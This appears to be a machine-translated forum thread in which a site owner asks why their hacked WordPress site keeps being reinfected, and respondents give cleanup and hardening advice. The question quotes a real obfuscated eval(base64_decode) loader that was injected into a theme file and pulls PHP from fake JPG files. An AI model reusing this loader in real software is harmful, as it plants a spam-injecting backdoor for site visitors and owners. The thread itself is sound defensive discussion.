Wordpress网站不断遭到黑客攻击

Wordpress网站不断遭到黑客攻击,wordpress,Wordpress,我有一个Wordpress网站不断遭到黑客攻击。据我所知,正在进行以下更改: 该文件顶部有一些附加的PHP代码: wp content/themes/enfold/functions.php 详情如下: eval(base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2RhdGFidXp6L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tYWdpYy5qcGciKTtyZXR1

我有一个Wordpress网站不断遭到黑客攻击。据我所知,正在进行以下更改:

该文件顶部有一些附加的PHP代码:

wp content/themes/enfold/functions.php

详情如下:

eval(base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2RhdGFidXp6L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tYWdpYy5qcGciKTtyZXR1cm4gKCRjaGVlKTt9b2Jfc3RhcnQoImNhbGxiYWNrIik7"));
正在创建4个新的jpg文件:

/wp包括/images/geo.jpg

/wp包括/images/save.jpg

/wp包括/images/magic.jpg

/wp包括/images/links.jpg

这些文件不是真正的jpg文件,因为它们不会打开,但使用文本编辑器查看它们会显示文本和其他PHP代码

从PHP代码来看,它似乎试图将一些垃圾邮件/广告链接注入到我的Wordpress帖子中

我不断删除这些文件,安装了安全插件,删除了管理员登录,更改了所有密码,但这些文件每隔几天就会更新/创建一次

我正在试图了解这是如何可能的,以及我接下来需要做什么来阻止它。

首先-

在这一点上安装防病毒或安全插件很少有帮助-恶意代码已经具有服务器访问权限

1-更改
FTP
mysql
DB
Cpanel
WHM
SSH
(不需要时禁用)等所有具有访问权限的密码

3-检查您的服务器(所有文件夹,如
cgi
cgi-bin
ftp
等) 删除所有
wordpress
文件夹(除了
wp content
)和所有其他奇怪的文件。删除所有主题和所有插件,并手动仔细检查
wp内容的其余部分。备份数据库并手动检查

3.1-(编辑1)-不允许Cpanel/WHM中的索引。请阅读下面的.htaccess保护

2-将新的wordpress核心文件上载到(不是根目录)并将其重命名为其他文件(不是
wp
wordpress

3-更新插件和主题-不要复制您拥有的插件和主题,而是从wp插件存储库中安装新的、更新的插件和新的干净主题。 如有必要,手动检查

在主题中,检查所有
表单
,或
输入字段
,并检查输入是否正确有效

4-更改
wp config
中的所有数据库密码。所有的散列等等。 创建新数据库、用户和新密码。手动检查数据库备份,然后再将其注入

4.1-(编辑I)我忘了提及-还更改了DB前缀。不要离开
wp

5-更改所有wp用户密码和用户名。 如果你有一个拥有数百名用户的开放站点,那么你可以编写一个脚本,强制每个人更改密码。如果你只有十几个用户,则手动更改密码。 当我说全部时,它包括默认的管理员用户(来自过去的版本)

6-一段时间后,检查您的服务器日志,查看用于伪映像文件的404消息是否来自单个ip地址(可能不是)-如果是-阻止它

7-除了小心之外,你没什么可做的了。这是一个很大的工作,但不要懒惰,并遵循所有的步骤。否则,不仅仅是这一个站点,整个服务器都可能受到威胁。一次又一次

避免此类事件再次发生的指导原则:

  • 选择强密码。-我们都不喜欢类似于
    aDf34HG§*#sFGT
    的密码,但它们很有用,特别是在
    DB
    或其他自动化任务中。对于用户-强制至少一个符号和一个字母

  • 不要安装您不知道、不完全理解或从可疑来源下载的主题和插件(
    所有wp premium主题免费,直接下载所有插件免费
    等)

  • 保持wordpress核心文件的更新

  • 每隔一段时间手动检查服务器一次
.htaccess

一些指令可以防止(或至少尝试防止)这种情况再次发生

.htaccess文件位于WordPress的根目录中

#Disallow indexes 
Options All -Indexes

# protect wp-config.php
<files wp-config.php>
Order deny,allow
Deny from all
</files>

# WPhtC: Protect .htaccess file
<files ~ "^.*\.([Hh][Tt][Aa])">
order allow,deny
deny from all
</files>
您可以做的另一件事是强制用户(和您自己)在登录到admin时使用SSL(HTTPS):

define('FORCE_SSL_LOGIN', true);
在此之后,您还需要查看数据库中是否有奇怪的列/表/条目/用户。例如,如果您的站点不断被重定向,请检查字符串等。。(
eval()
exec()

您还可以使用许多安全插件中的一些来进行核心校验和以及上述
php
调用

还有其他更复杂的事情,尤其是在APACHE方面。
如果我有更多的时间,我会在这里发布一篇博客文章和链接。但是上面写的是一个好的开始。

我在我的许多网站上遇到了这个问题,甚至在交换了所有内容之后(所有新文件只有一个网站,但配置文件相同)。。。反正我被袭击了

每天醒来,我都会收到电子邮件提醒,说有30个不同的文件被编辑或替换。每次我清洗它,它都会在几个小时后回来。。。但他感到困惑,因为这都是新文件。唯一相同的是wp-config.php文件

结果是散列键太短了。网站是3年前建立的,但现在已经完全更新了,但只要我把散列键改长了很多,问题就解决了

哈希键的示例:

您可以在此处生成新密钥:

您是使用FTP还是cPanel/etc访问服务器?有可能这些都被破坏了。你可能有一个易受攻击的主题或插件。我打赌你的主题或一些活动插件是易受攻击的,我遇到过很多这样的网站,通常使用5年前创建的硬编码主题。我使用cPanel和FTP-我会再次更改这些的密码。我已删除除活动主题和ha之外的所有主题
define('FORCE_SSL_LOGIN', true);